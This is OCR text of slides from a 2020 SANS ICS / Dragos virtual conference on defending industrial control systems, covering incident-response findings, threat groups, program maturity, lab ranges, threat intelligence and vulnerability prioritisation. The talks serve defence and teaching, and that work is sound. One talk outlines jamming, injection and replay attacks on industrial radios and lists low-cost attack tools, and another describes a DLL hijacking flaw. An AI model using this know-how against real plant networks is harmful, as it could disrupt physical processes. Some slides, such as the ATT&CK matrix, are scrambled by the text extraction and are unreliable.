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BUILT BY PRACTITIONERS FOR PRACTITIONERS

Dragos has the largest team of ICS security specialists in the
industry today with the industry’s most trusted technology

190+ Employees
140+ Customers

HQ: Hanover, Maryland
Regional: Houston, Texas
Regional: Riyadh, KSA
(Soon)Regional:
Melbourne, AUS

@Dragosinc
https://dragos.com/disc/
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THE SOLUTION and

Comprehensive Technology

Unigue Threat Intelligence In-depth
of the threat landscape via

Expert-Guided Services insights and

Expert to combat and
respond to adversaries via
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Welcome

- What Happened

Why this VirCon matters

Engage / Interact

Feedback to Shape Future Events

g DISC: SANS ICS
Pg% PRAGOS  Virtual Conference
If S May 1, 2020 | 10am-6pm EDT

Please provide feedback

Session: Electric Sector Incident Response
Presenter: Tim Conway

https://sansurl.com/electric-sector-ir

Thank you!

% #DISCSANS

When a talk ends, select the link and provide
feedback. It will help us shape the next ICS
Virtual Conference and ICS Summits agendas.

DRAGCS



Dragos’ Year in Review provides
insights and lessons learned from our
team’s first-hand experience hunting,
combatting, and responding

to ICS adversaries throughout the

year.

https://dragos.com/year-in-review-2019/

PRAGCS

DRAGCS

DRAGCS

Provides an analysis of ICS-specific
vulnerabilities and discusses impacts, risks,
and mitigation options for defenders

Provides insights on the state of ICS
cybersecurity, the latest trends and observations
of ICS-specific adversaries, and proactive
defensive recommendations.

Provides a synopsis of trends observed within
the industry and lessons learned from Dragos’
proactive and responsive service engagements



https://dragos.com/year-in-review-2019/

KEY LESSONS FROM
INCIDENT RESPONSE

Weak Perimeters

100% adversary accessed
direct from the internet.

DRAGC

Wrong Information

51% of cases identified existing
architecture diagrams were
lacking or presented false
information.

Poor Visibility

0% of IR cases were
facilitated by aggregated
logging or passive visibility
into the ICS networks. Every
case involved manual retrieval
of logs and distributed
analysis.



ICS THREAT LANDSCAPE AND ACTIVITY

GROUPS
KEY FINDINGS

Three new threat activity groups identified.
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- Third-party Ransomware phishing, Remote Escalating

and supply and password connectivity geopolitical
’ WASSONITE chain commodity spraying, and tensions
\ malware watering holes
11 Activity Groups total
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MITRE ATT&CK" FoRrICS

* A key milestone in ICS cybersecurity

A globally-accessible knowledge base of
adversary tactics and techniques based
on intelligence-driven insights

https://attack.mitre.org/ics

DRAGCS



ACTIVITY GROUPS

DRAGCS

Capability
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API Services Mode Layer Protocol View
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) ) Block Reporting Message Modify Control Logic
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External Remote \ Loss of
Man in the Middle ystem Firmwaffe | Rootkit Network Sniffing Renpte File Copy /O Image Bldgk Serial COM Modify Parameter i
Services Ly Control
-
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Internet Accessible | P Spoof Reporti Remote Syst: Locat Product
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Revenue
Replication Through | Project File Utilize/Change Serial Connection Monitor Process Loss of
Denial of Service Program Download
Removable Media | Infection Operating Mode Enumeration State Safety
Sy hishi Point & T
pompeg Scripting & e Device RestarvShutdown | Rogue Master Device | Loss of View
Attachment Identification
Si Chi Manipulati
Upply Chain User Execution Program Upload Manipulate /O Image Service Stop P—
Compromise of Control
Wireless Spoof Reporti Manipulation
Role Identification Modify Alarm Settings P Roreg 235
Compromise Message of View
Theft of
Unauthorized Command
Screen Capture Modify Control Logic Operational
Message
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Program Download

Rootkit

System Firmware

Utilize/Change Operating
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MAPPING
ACTIVITY

Activity Common Mitre ATT&CK ICS
G R O U P S TO Group Tactic Designation Number
ALLANITE Point and Tag Identification for Collection T852
MITRE ‘ ATT& CK,M CHRYSENE Scripting for Execution T853
COVELLITE Spearphishing Attachments for Initial Access T865
DYMALLOY Screen Capture for Collection T852
I C S ELECTRUM Wiper to Inhibit Response Function T809
HEXANE User Interaction for Execution T863
MAGNALIUM Loss of View T829
PARISITE Exploitation of Remote Services T866
RASPITE Drive-by Compromise for Initial Access T817
WASSONITE Valid Accounts for Persistence T859
XENOTIME Safety Engineering Workstation Compromise T818

DRAGCS



' Next Dragos Webinar: May 20

DRAGOS i
\ Deloitte.

Developing a Strategic ICS/0T Cybersecurity Roadmap

Robert M. Lee, \‘ ; Ramsey Haaj,
CEO & Founder, 2 / Principal, Cyber Risk Services
Deloitte & Touche LLP

dragos.com/webinars/ DRAGCS
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INDUSTRIAL CONTROL SYSTEMS CYBERSECURITY

SAFEGUARDING CIVILIZATION

THE ICS CRUCIBLE: FORGING PROGRAMMATIC ARMOR & WEAPONS
JASON D. CHRISTOPHER



JASON D. CHRISTOPHER

Principal Cyber Risk Advisor

DRAGCS

Cyber risk management professional services,
tied to threat intel & Dragos platform

Certified SANS Instructor for industrial control
systems security

Former CTO for Axio Global, Inc., leading
critical infrastructure protection strategy

Federal energy lead for several industry
standards and guidelines, including NERC
CIP, NIST CSF, and the C2M2

ility Standards

w| @jdchristopher
in linkedin.com/in/jdchristopher

Led cyber incident & risk management
team for US Department of Energy

Security metrics development across
EPRI and other research organizations

Began career deploying & securing
ICS

Frequent speaker at conferences &
client events

MS, Electrical Engineering, Cornell




guestion:

WHY IS ICS SECURITY

DRAGC



It shouldn’t be, right?

Our programs don’t do “ROI”
and we fight for budget dollars

most
largest
severe

ICS security requires multiple
disciplines to work together.

It’'s a rollercoaster ride of
responding to fire drills.

DRAGC
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These programs need tons of
energy to achieve success.

Managing competing interests and
resources across operations

A sustainable, business-oriented &
goal-busting ICS security program

DRAGCS

cqfcbbka
[ 'kroosab(a)l/

23



PREVENTION IS IDEAL.
DETECTION IS A MUST.*

~ A & -

*detection without response, however, is of little value




Forging an ICS Security Program

Metals

Weapons & Armor

@ 0 @ o

DRAGCS 25




BRONZE

Initial defenses may be
resource-constrained

No documentation, no
lessons learned

Loss of “lotto winners”
could cripple the program

strengthen using

IRON

Moving beyond "oral
history” to written law

Partnered with multiple
stakeholders

Resources are less scarce

“
-

People are trained, ready, and
exercised

Executives are active
participants in ICS security

Capabilities are “double-
checked” and reviewed



Link ICS security to critical
processes, systems, and devices

Use any and all existing tools at
your disposal: PHA, BIA, & safety

Iron

Structure repeatable processes to
consistently evaluate “risk.”

Steel

Executive stakeholders engaged on
cyber risk, business continuity
across IT & OT.

DRAGCS

IDENTIFY WHAT MATTERS

“Maces, being simple to make, cheap,
and straightforward in application, were
guite common weapons.”

27
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PROTECT WHAT IS VITAL

Now that we’ve identified what’s
important, how do we protect systems
and assets?

Shields are used to intercept
specific attacks by means of
active blocks, as well as to
provide passive protection.

Invest in strong perimeters
around the crown jewels

Block unauthorized comms
across critical systems

Iron

Operators and OT security work
together to secure assets

Steel

System hardening is a routine
(and funded) task




Log and monitor across both IT &
OT environments

Enable logs where you can across
assets and perimeters

Iron

Periodically review logs: establish a
detection & monitoring program

Steel

Design a Collection Management
Framework to support threat
hunting activities

DRAGCS

DETECTION IS A MUST

“Draw not your bow ‘til your arrow is
fixed.”

29
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RESPOND TO EMERGENCIES

We know what’s critical, we’ve
protected them best we can, and we’re
on the look out for threats... but how
do you prepare for a really bad day?

"Your enemy cares not that the
maintainer of an Internet-connected
server left 10 years ago."

Build and train incident
response and recovery teams

Who do you call? What do you
do? Understand the IR lifecycle

Iron

Cross- disciplinary IR team IT,
OT, HR, legal (internal &
external)

Steel

IR exercises across business
units and with executives




What metal is right for your program?

Build organically Roadmap where you are headed
Do you have a champion? = Be honest. Brutally so. = Map back to criticality and
Can you scale a team? = Think about processes, people, impacts.
Can you effectively use your and technology = Talk in terms of business
tools? = |nclude discussions about risk.
things like “the lotto winner” = Roadmaps help address
or executive engagement. current gaps and build

budgets.



What metal is right for your program?

(1) SRS



What metal is right for your program?
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What metal is right for your program?
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What standard is right for your program?

IDENTIFY

7

PROTECT

<1

DETECT

<

RESPOND

RECOVER
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MATURITY
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Forging an ICS Security Program:

Use all available tools

Maturity models:
« Describe a “crawl, walk, run” progression
« Can be used for gap analysis and model-based improvement

Standards and Frameworks:
« Create baselines, use common terms, and build on best practices
 Developed by peer groups and development organizations

Both need champions

DRAGCS



The ICS Security Crucible is applying
standards & maturity models
across business units,
with executive support.

...s0 how do we get there?




(Im)Maturity Risks

Identify executive management and
arm them with policies.

overlooked

GRC

What’s the impact of cyber events?
Speak in terms of business risk.

Verify ICS security practices are
occurring— using the “third line of
defense.”

DRAGC



And start with literally any standard

T e P ! Concepts and Models Master glossary of terms System Security IACS security life-cycle
oot « and abbreviations « conformance metrics « and use-cases
Framework for Improving 7
Critical Infrastructure Cybersecurity — Gadel m CRll Y CAPABILITY MATURITY MODEL (C2M2) -

Systems (ICS) Security

4
; -!’— -_da-x—m— Asset Owners
S S o :““ P ng'”"“' Patch management in the| | Requirements for IACS operate and maintain
s Wy, ANy IACS environment 3! |  solution suppliers te-specific systems
\_ Management system(55 | Management system () | @/ f

Integrators & Asset Owners:
Engineer and integrate
COTS into site-specific systems

Version 1.1
Februry 2014

‘ Security technologies for | | Security risk assessment Systatn secirkty
IACS

requirements and
all and system design Sal  security levels

==

Suppliers:
Design and manufacture
COTS control systen

NIST

National Institue of
Standards and Technology
U.S. Department of Commerce

Technical security
requirements for IACS
components ‘C

Product development
requirements

Siatus Koy,

B. Requireronts 30 Fome—————— o
equirements and Measures == CIP-002-5.1 - Attachment1 g
RL Each Responsible
T g ible Entity shall implement a process that con Impact Rating Criteria
onowing assets for purposes of prts 1.1 through 1.3: i The criterio defined in Attachment 1 do not constitute stand.lone comat
gh]{Time Horizon: Operations Planning) but are crieria charocterizing the level of impoct and o referenced by et
are referenced by requirements
1-Control Centers and backup Control Centers;
ransmission stations and substations Cyber Security Plan for
iil.Generation resources; L High lmpuct iating () 2 Ry
| ° . £ 2 Nuclear Power Reactors
v.Systems and faciities critical 10 system restorq £ach BES Cyber System used by and located at any of the following
Resources and Cranking Paths and initial switc
Homelaad : ¢
v.Special Protection Systems that support the re 1.1. Each Control Center or backup Control Center used to perform the functional 0 ucily Industrial Intefrat o THineS
Electric System; and obligations of the Reliability Coordinator. Volume G4: Security Framework
o m”;tzu;m“ Soodensrotesion vy 1.2. Each Control Center or backup Control Center used to pe o1 orm Rt
section .21 above obligations of the Balancing Authority: 1) for genera s 4
Z Vin a single Interconnection, or 2} for one or more of the asset
11 Identify each of the high impact BES Cyber Sys aggregate of 3000 MW in a single Interconnection, or 2) or
 asset that meet criterion 2.3, 2.6, or 2.9
Attachment 1, Section 1,if any, at each asset; S—
12, Identify each of the medium impact BES Cyber 1.3. Each Control Center mb.ukKn‘c‘;"f"li“';‘::‘d""“‘: “ml",‘e“vyv” S ihatie
Attachment 1, Section 2, if any, at each asset; obligations of the Transmission Ope
f 1 that contains 3 low criterion 2.2, 2.4, 2.5, 2.7, 2.8,29,01 2.10 !
13, Identify each asset that contains ale 3 o Conter sed o pformth Fnctons
ber Systems is not red obligations of the Generator Operal
o e Cheion21,23,26,0029 —
= a3
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Automate the Madness

Your organization will identify
areas for improvement throughout
your assessment efforts; human
error and oversight are difficult to
eliminate

ICS456 | Essentials for NERC Critical Infrastructure Protection 42




Tools for Proving a Negative

Traffic Traffic —® , Traffic BASS
Capture DPI

e - LS,
L R ] ‘ /l\
eEET

SW1# show port-security interface fa0/1
Port Securicy : Enabled
Port Status : Secure-down
an Mode : Protect
ime : 0 mins
ype : Rbsoluce
. tatic Address Aging : Disabled
Sw-ltch MAC Addresses : 10
AC Addresses r2
. red MAC Rddresses : 2
Securlty MAC Addresses 0
arce Address : 0000.0000.0000:0
y Violation Count : O

nT e
e [y | v~ i e

ICS456 | Essentials for NERC Critical Infrastructure Protection
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Management, IT, OT, legal, HR- you
you are not alone.

Make an honest evaluation of where
you are & where you are headed

ICS security needs to be “how we
do business,” not “that weird thing
over in the corner.”

DRAGCS

cru-ci-ble
[ 'kroosab(a)l/

create and sustain
governance
and executive support
standards

45



THANK YOU

w | @jdchristopher
in linkedin.com/in/jdchristopher



DISC: SANS ICS

’ DRAGCO Virtual Conference

May 1,2020 | 10am-6pm EDT

Please provide feedback

Session: The ICS Security Crucible
Forging Programmatic Armor and Weapons

Presenter: Jason Christopher

https://sansurl.com/ics-security-crucible

Thank youl!
#DISCSANS


https://sansurl.com/ics-security-crucible
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SAFEGUARDING CIVILIZATION

ICS RANGES AND DIY FOR HOME LEARNING
TOM VANNORMAN



ICS Ranges and DIY For Home Learning

« What is a range?
— Why do you want to build one?
« Why do | need to use one?
— Can’tl just use my employers' network?
* Are ranges expensive and complicated to setup and maintain?
* What goes into these environments?

DRAGCS 49



What is a Range?

What will these new firewall rules
do?

What happens if device is
misconfigured?

Learn to program or configure
devices.
Set up a Domain or a PLC/HMI

and learn how they work.

Evaluate vendor A and vendor B
in the same environment.

How does a piece of technology
really work?

* Always something to learn or
improve.

DRAGC




What isn’t a Range?

Any network or asset that is
part of how your business
makes money.

PCN, cloud environments, etc

Any network or asset that is
part of how your business
makes money.

PCN, cloud environments, etc

GE * You have a safe place to open

up the unknown attachment
that was just emailed to you.

Do it!
DRAGC




Are Ranges expensive to build
and maintain?

DIY setup can be near zero cost if
not purchasing hardware/software.
More complex can be several

hundred thousand dollars or more.

 Take snapshots and
backups frequently.
Keep spare parts and
fuses on hand

DRAGC




What goes into a Range?

Human-
Machine
Interface

; . . IE 1 :
= = o J
- 2l Ty
|
vices
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l

s
M
waavie.
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DIY For Home Learning

DIY setup can be near zero cost if
not purchasing hardware/software.

 Take snapshots and
backups frequently.
Keep spare parts and
fuses on hand

DRAGC




DIY For Home Learning

» Controllers- SoftPLC’s, OpenPLC

* Protocols- Modbus, Ethernet IP, DNP3

 HMI- ScadaBR, VTScadaLIGHT

» Firewall- pfSense

* IDS- Security Onion

* Hyper Visor- ESXI, VirtualBox

* Network emulator- Common Open Research Emulator (CORE)

DRAGCS 55



THANK YOU!

TVanNorman@Dragos.com

www.linkedin.com/in/thomasvannorman/

DRAGCS
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DISC: SANS ICS

’ DRAGCO Virtual Conference

May 1,2020 | 10am-6pm EDT

Please provide feedback

Session: ICS Ranges and DIY for Home Learning
Presenter: Tom Van Norman

https://sansurl.com/ics-ranges-diy

Thank youl!

#DISCSANS


https://sansurl.com/ics-ranges-diy

SANS ICS DISC - SANS ICS Virtual Conference 2020

Analyzing OT Radio
SANS | Implementations for
Attack Surface

Don C. Weber - @cutaway
Cutaway Security, LLC.
Principal Consultant, Founder

© 2020 Cutaway Security, LLC. All Rights Reserved.



( Don C. Weber / Cutaway Security,

SANS ICS410: ICS/SCADA  Assessing and Exploiting
Security Essentials Control Systems

* |CS Security Assessments
* Penetration Testing
 Security Research

5/1/2020 © 2020 Cutaway Security, LLC. All Rights Reserved. 59



ndustrial
Contro

A mix of hands-on and theoretical
class, being driven by a high skilled
instructor, makes this the best

1ICS410 |CS/5CADA training in ICS security.
Security Essentials Rafhel lssa, Technip

About the course

ICS410 is designed to ensure that the workforce involved in
supporting and defending industrial control systems is trained to

keep the operational environment safe, secure, and resilient against
current and emerging cyber threats.

S UULULRGE

REGISTER TODAY 1CS410 Challenge Coin
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Images and references within the presentation, unless specifically
identified, are not meant to imply vulnerabilities in the vendor's
solution. Proper implementation is typically, depending on the vendor,
located in the solution's implementation guides.

Please read these guides and outline security requirements during the
planning phases and integrate into factory and site acceptance testing.



( Why are we here?

Point-to-point connections

Figure 12  Example of point-to-point connection

Star network

5/1/2020

* Radio gateways and end-points
provide connectivity where wires
cannot be used.

* Radio enabled end-points monitor
and control the process.

* Radios will always receive, and
attempt to process, any data
(malicious or otherwise) sent to it.

© 2020 Cutaway Security, LLC. All Rights Reserved.

il

WS (ndustrial

1 -
‘ g‘ Control
b)Y Systems

n

Self-healing network

Source: Phoenix Contact RAD-900 User Manual
https://www.phoenixcontact.com/online/portal/us?u
ri=pxc-oc-
itemdetail:pid=2702877&library=usen&tab=1

62



Three Eternal Truths of Wireless Security + 1 F\é,% s
.

Denial-of-Service attacks are easier and near impossible to defend against
Network capture is possible, regardless of frequency or hopping techniques

Attacker has at least a limited ability to communicate on the wireless
network

"When utilizing industrial wireless for a communication path in a process,
ensure the process is designed and engineered to operate safely and reliably
without that communication." — Tim Conway, The SANS Institute

Source: SANS ICS410 ICS / SCADA Security Essentials
https://www.sans.org/course/ics-scada-cyber-security-essentials



: CS
( Frequency Hopping S

Control
b)Y Systems

3

Time

Frequency
Pros Cons
* Prevents transmission collisions * Subject to eavesdropping
* Helps with jamming and  Subject to injection

interference * False sense of security

Source: ControlThings.io Accessing and Exploiting Control
Systems
https://www.controlthings.io/training
5/1/2020 © 2020 Cutaway Security, LLC. All Rights Reserved. 64



. CS
( Wireless Attack Surface o

» Eavesdropping: Capturing the traffic
* Masquerading: Pretending to be your wireless network or devices
* Denial of Service (DoS): Blocking your traffic

* Rogue Access Points: Secret wireless links back to your network

Source: SANS ICS410 ICS / SCADA Security Essentials
https://www.sans.org/course/ics-scada-cyber-security-
essentials



( Wireless Attack Tree

Jammmg

Denial of
Service
Encrypted
Packets
Gateway / Injection
Field Device J
Unencrypted

Packets
Masquerading

Rogue evice

Packets
-
Encrypted

Packets

5/1/2020 © 2020 Cutaway Security, LLC. All Rights Reserved. 66



( Wireless Solutions Provide Encryption

7 Startup and configuration

All RAD-900-IFS wireless modules have the same default

configuration.

Wireless communication is based on Trusted Wireless 2.0
technology. The high demand for a interference-free data
transmission using the license-free 900 MHz band, in
particular via the use of the FHSS method (FHSS) and 128-
bit data encryption (AES), is fulfilled.

Source: Phoenix Contact RAD-900 User Manual
https://www.phoenixcontact.com/online/portal/us?uri=pxc-oc-
itemdetail:pid=2702877&library=usen&tab=1

Default settings

Operating mode: /O data mode (

Data communication is
E /O extension modules.

Wireless interface

Net ID: 127 -

RF band: 1 Encryption
Encryption: Om*l Off by

Network structure: Star Default

Device type: Slave

Data rate of the wireless in- 125 kbps

terface:

Transmission power: 1 W (30 dBm)




( Cost of Wireless Attacks

| Jamming for as little as

$120 per Channel
without Hop Pattern

5/1/2020

Radios
* RTL-SDR
* HackRF / LimeSDR / Ettus
* Yardstick /ApiMote / Ubertooth
* Vendor Development Boards

Spectrum Analyzers
* GQRX

Software Defined Radio
e Universal Radio Hacker
* Gnu Radio Companion

Hardware Radio Software
* RFcat
* Killerbee / Killerzee
* Ubertooth
* Vendor Development SDKs

© 2020 Cutaway Security, LLC. All Rights Reserved.

Injection and Replay
for as little as $120

Jamming for as
little as $120 with
Hop Pattern

68
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( Industrial Wireless Solutions

e WirelessHART and ISA100 Attack Tools

* Killerbee Framework and Hardware

* 2017 RevICS Security "WirelessHART for
Wireshark (and KillerBee)"

* https://www.revics-
security.com/2017/08/02/wirelesshart-for-
wireshark-and-killerbee/

* 2018 Nixu Cyber Security "It WISN't me,
attacking industrial wireless mesh networks"

* https://conference.hitb.org/hitbsecconf2018dxb
/materials/D2T1%20-
%201t%20WISN%E2%80%99t%20Me %?20-
%20Attacking%20Industrial%20Wireless%20Mes
h%20Networks%20-
%20Mattijs%20van%200mmeren%20and%20Er
win%20Patternote.pdf




Vendor Technical Implementation

ndustrial
Control
Systems
* Additional Considerations for Wireless Implementations _
in Critical Infrastructure § . a6 Rag :\"P
= ¥ .bh3¢
* Radio capture and hardware analysis to determine : i’&ej
* Frequency Hopping Patterns = 1o
* Extracted from firmware analysis : & - ...L'L-,
* Discovered from hardware analysis !
* Encryption Implementation 08020 ]
* Data whitened transmissions appears like encryption ) - 2
* Encryption configuration and modes

* Proprietary encryption
* Physical programming concerns

Source: RAD-900 FCC Documentation

5/1/2020 © 2020 Cutaway Security, LLC. All Rights Reserved. 70
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e Understand your process and ensure it can operate when the radios
cannot communicate.

* Qutline security requirements before implementation.
* Test to verify requirements after implementation and maintenance.

* Support research into toolsets that help conduct assessments to
ensure proper implementation.

IS UILLRGE



CUTAWAY SECURITY

DO n C We be r - @ C Utaway [\,rhl{f‘ A mix of hands-on and theoretical

don@cutawaysecurity.com

vstems class, being driven by a high skilled
’ instructor, makes this the best
https://www.cutawaysecurity.com ICS410 ICS/SCADA waining n S securiy.
Security Essentials Rafael lssa, Technip
About th N

Th O m a S Va n N O r m a n Icsfo::ilils desi:n:dotl::::.lrethat the workforce involved in { SAt ' -
. . supporting and defending industrial control systems is trained to H®S5 .
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WHAT IS

Threat intelligence is actionable knowledge and insight about
adversaries and their malicious activities that improves visibility,

enables defenders to reduce harm to their organizations, and drives
better decision-making about adversaries and their malicious
behaviors.

DRAGC



VALUE OF

« WHAT IS THE THREAT? « CONTEXT

« WHAT IS THE IMPACT? « ACTION

« WHAT SHOULD BE DONE? * NON-ACTION

Threat Intelligence Leads to Reduced Harm

DRAGCS



EXAMPLES OF (The Same) THREAT INTELLIGENCE

Technical Reports

“A malicious CHRYSENE domain shifted to a new IP
address: 102.253.XX.XXX, a hosting service based in
Singapore. In addition to “fbaiosb,” Dragos identified
seven additional domains hosted on this server that also
share the same CHRYSENE registration characteristics:

xxxxxxx[.] and yyyyyyyy[.Jcom”

Advisories and Alerts

“A domain attributed to the CHRYSENE activity group is
currently staged for use in an ICS vendor's site. The vendor site
appears to have been compromised and includes a code
inclusion from a CHRYSENE server. The server is currently not
delivering the code. The attack may be focused on a particular
set of victims or may simply be staged for future use. End users
should take action provided in this report.”

Executive Insights

“The beginning of 2018 introduced at least three ICS-related
threats, one of which utilized third-party software to impact
energy firms’ business communication systems. Also this
quarter, the US government officially named multiple threat
actors responsible for attacks on critical infrastructure and
universities. And Dragos discovered evidence that CHRYSENE,
one of the ICS activity groups Dragos tracks, is compromising
legitimate websites, adding additional risk for industrial
organizations.”

DRAGCS

Machine Indicators

{"type":"bundle","id":"bundle--5c04399b-ed24-4b7c-bb5c-
d725e83b15e5", "spec_version":"2.0","objects":[{"type":"indicator","i
d":"indicator--efbab7af-82f6-431e-897f-

dc197f446d5d", "created_by_ref":"identity--0589631e-477d-4fdd-
9d76-759d9470a3aa", "created":"2018-08-

21T16:54:11.000Z", "modified":"2019-08-
02T17:28:54.000Z","valid_from":"2017-12-

15T00:00:00.000Z", "labels":["malicious-
activity"],"pattern":"[file:hashes.'MD5" =
'f41748ablaaf59d8a9d77ec7f2a47b94']", "kill_chain_phases":[]}



AUDIENCES OF

Audience

Organizational Leadership

SN Security Leadership

Security Leadership
Operational Incident Response
Threat Hunters

Security Operations
Tactical Network Defenders
Incident Response

DRAGCS

Product Types

Business context; strategic impact;
risk management

Support to remediation, hunting,
detection; budget decisions;
collection management

Technical indicators; threat behavior
analytics (TBA)



EVALUATING THREAT INTELLIGENCE

Complete Provides sufficient detail to enable proper response.
Accurate Reduces mistakes and increases impact.

Addresses threats pertinent to an organization in a
Relevant

consumable manner.

Delivered quickly enough to reduce dwell time or time
to recovery.

Timely

DRAGCS



APPLYING THREAT INTELLIGENCE

* THREAT MODELING

* POLICY & PROCUREMENT

* ARCHITECTURE

* DATA COLLECTION STRATEGY

INCIDENT RESPONSE

BEHAVIORAL THREAT ANALYTICS

DRAGC



APPLYING THREAT INTELLIGENCE

THREAT MODELING
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APPLYING THREAT INTELLIGENCE

POLICY

CIP-002-5.1a Cyber Security — BES Cyber System Categorization Related Information Subject to Enforcement
Cyber Security — Security Management Controls Subject to Enforcement

CIP-004-6 Cyber Security - Personnel & Training Related Information Subject to Enforcement

Cyber Security - Electronic Security Perimeter(s) Related Information Subject to Enforcement

CIP-006-6 Cyber Security - Physical Security of BES Cyber Systems Related Information Subject to Enforcement

CIP-007-6 Cyber Security - System Securir- M~=~mrmannt . el -

CIP-008-5 Cyber Security - Incident Repc

CIP-009-6 Cyber Se y_- Recovery Plar

CIP-010-2 Cyber Security - Configuration

CIP-011-2 Cyber Security - Information P

o
9
o}
Ee
Ee )
o
2
w2
e
=
]

CIP-014-2 Physical Security

DRAGCS



APPLYING THREAT INTELLIGENCE

ARCHITECTURE & PROCUREMENT

DRAGCS



APPLYING THREAT INTELLIGENCE

DATA COLLECTION STRATEGY

DRAGCS



APPLYING THREAT INTELLIGENCE

INCIDENT RESPONSE
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APPLYING THREAT INTELLIGENCE

BEHAVIORAL THREAT ANALYTICS
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DRAGCS



Y ‘ DISC: SANS ICS
ﬁ% DRAGC Virtual Conference
| )

May 1,2020 | 10am-6pm EDT

Please provide feedback

Session: Operationalizing Threat Intelligence in ICS
Presenters: Amy Bejtlich & Sergio Caltagirone

https://sansurl.com/operationalizing-threat-intel

Thank you!

% #DISCSANS


https://sansurl.com/operationalizing-threat-intel

DRAGOS

Analyzing ICS Vulnerabilities

Kate Vajda

Senior Vulnerability Analyst
kvajda@dragos.com
Twitters@vajkat



' Agenda

01

02

03

2019 YIR data

Highlights of ICS vulnerabilities
analysed in 2019

Our Analysis Process

Deep dive into the process

Action Items
What you can do with this data




' 2019 Year In Review by the Numbers

212 Total ICS vulnerability advisories analyzed in 2019.

| — advisories

‘ 438 Total number of unique vulnerabilities, or Common Vulnerabilities and Exposure
~ CVEs (CVE) identifiers analyzed in 2019.
1 16 The total number of vulnerability type or Common Weakness Enumeration
CWEs (CWE) identifier.

DRAGCS



' Key Findings

77% of assessed ICS vulnerabilities in 2019 were considered “deep-within”
a control systems network, requiring some existing access to a

control systems network to exploit.

DRAGCS



' Purdue Model Example

“Deep Within” the Network

Purdue Level: 3 — Site Operations
Purdue Level: 2 — Supervisory Control
Purdue Level: 1 — Control Devices
Purdue Level: 0 — Processors,

Sensors, and Actuators

Manufacturing Zone

Cell/Area Zone

Site Operations

Supervisory Control

Control Devices

Processers
Sensors
Actuators

DRAGCS



' Key Findings

9% of advisories applied to products generally associated with bordering

the enterprise, which could facilitate initial access into operations.

DRAGCS



' Purdue Model Example ptemet

Enterprise Zone

“Border” of the Network _

Purdue Level: 3.5 - DMZ ﬂ

Purdue Level: 4 — Enterprise Business Processing

55 G

Purdue Level: 5 — Internet

Manufacturing Zone

DRAGCS



' Key Findings

26% of advisories had no patch available when the initial advisory came
out, presenting a challenge for users trying to take action on the published

advisory.

DRAGCS



' Goofy Venn Diagram

ICS Vulnerabilities

Subset of all possible vulnerabilities
-> Subset of all known vulnerabilities

-> Qur focus is on ICS vulnerabilities

26% had no patch available

DRAGCS



' Key Findings

30% of advisories published incorrect data preventing operators from accurately

prioritizing patch management.

DRAGCS



5.4 Threat and Vulnerability Management

Purpose: Establish and maintain plans, procedures, and
technologies to detect, identify, analyze, manage, and
respond to cybersecurity threats and vulnerabilities,
commensurate with the risk to the organization’s
infrastructure (e.g., critical, IT, operational) and
organizational objectives.

A cybersecurity threat is defined as any circumstance or
event W|th the potentlal to adversely |mpact organlzatlonal

The Threat and Vulnerability Management (TVM) domain
comprises three objectives:

’

1. Identify and Respond to Threats

2. Reduce Cybersecurity Vulnerabilities o interm

3. Management Activities

domain

1. Identify and Respond to Threats
2. Reduce Cybersecurity Vulnerabilities

3. Management Activities

Example: Threat and Vulnerability
Management

Anywhere Inc. examined the types of threats
that it normally responds to, including
malicious software, denial-of-service attacks,
and activist cyber attack groups. This
information has been used to develop
Anywhere Inc.’s documented threat profile.
Anywhere Inc. has identified reliable sources
of information to enable rapid threat
identification and is able to consume and
analyze published threat information, from
sources such as the United States Computer
Emergency Readiness Team (US-CERT),
Information Sharing and Analysis Centers
(ISACs), industry associations, or Industrial
Control Systems Cyber Emergency
Response Team (ICS-CERT), and begin
effective response.

When reducing cybersecurity vulnerabilities,
Anywhere Inc. uses the Forum of Incident
Response and Security Teams (FIRST)
Common Vulnerability Scoring System (CVSS)
{o better identify the potential impacts of known
software vulnerabilities. This allows the
organization to prioritize reduction activities
according to the importance of the
vulnerabilities.




' Key Findings

40% of advisories applied to engineering workstation and operator station software
requiring user interaction, or Internet connectivity to exploit, which may be rare and

difficult depending on the industry.

DRAGCS



' Purdue Model Example

Enterprise Zone

Accounting

il

ZO n e S Server Farm Business Processing

Zones should be separated by firewalls and connections

terminated at each zone before traversing further.

Manufacturing Zone

Can your equipment route to places it shouldn’t?

Cell/Area Zone

Site Operations -

Supervisory Control

Control Devices @ ! E ﬂ

Processers I "
Sensors
Actuators




' Dragos Process

Sources

{_..-"" Dowe ™. S Answer to
) S—
~, under:.tand? o S thedDb'?

o
_J'

Understanding the vulnerabilities
The Three Questions

How do we prioritize?

‘ Prioritization }—){

DRAGCS



' Dragos Sources

|CS-CERT

{_..-"" Dowe ™. Answerto ‘\-}
~, under:.tand? o S thedDb'? -

Client requests
Researcher blogs

Our own investigations

‘ Prioritization }—){

DRAGCS



' Answer the Three Questions

1) What is the vulnerability?

{_..-"" Dowe ™. ~Answer to ™.
) S
~, under:.tand? o S thedDb'?

-
_J'

2) Why do | care about it?
3) What can | do about it?

‘ Prioritization }—){

DRAGCS




' Do we understand the vulnerability?

Can we pull more data from the Internet?

{_..-"" Dowe ™. ~Answer to ™.
) S
~, under:.tand? o S thedDb'?

-
_J'

Reading manuals

Finding devices exposed on the Internet

Researcher blogs or contacting the researcher
Can we get the software or the hardware?

Do we already have it?

‘ Prioritization }—){

DRAGCS




' Prioritization

Loss of View

LOSS Of ContrOI _,-"’. g .DD we | .\.\"_ e A;'l:.wer Ill"r. ‘x.
~ under:.tand? _,-5—[}{-\\_ thedDb'? _,.z-}

Safety Impact '

Is the CVSS score correct?

Where in the process does this product live? ‘ What do we need?

Can we prevent it?

Can we monitor it if/when it gets exploited?

‘ Prioritization }—){

DRAGCS

Have we seen anyone leverage this elsewhere?



' Dragos Threat Score

A far-reaching vulnerability, asset owners should take action immediately.

A limited vulnerability requiring an applicability assessment. Operators should address in the next
patch/update cycle.

Vulnerabilities relating to operations but not requiring direct/immediate action. Operators should
patch when applicable.

A vulnerability receiving coverage but not yet worth the attention of operators.

DRAGCS



Rockwell Automation Connected Components Workbench

ICSA-17-047-01 / CVE-2017-5176

Source -> ICS-CERT

Do we understand it? / Answer the 3 Qs
* What is it? -> Management software for PLCs, HMls, Safety I/O which is
vulnerable to DLL hijacking
* Why do | care about it? -> Could cause DoS or run other malicious code

* What can | do about it?

Prioritization

DRAGCS



' Rockwell Automation Connected Components Workbench

PVcRuntime Properties

Several directories writeable by normal users
Contain DLLs that execute as SYSTEM

General Sharing Securty Previous Versions Customize

Object name:  C:\Program Files (x86)"\Rockwel Automation \CCW

Group or user names:
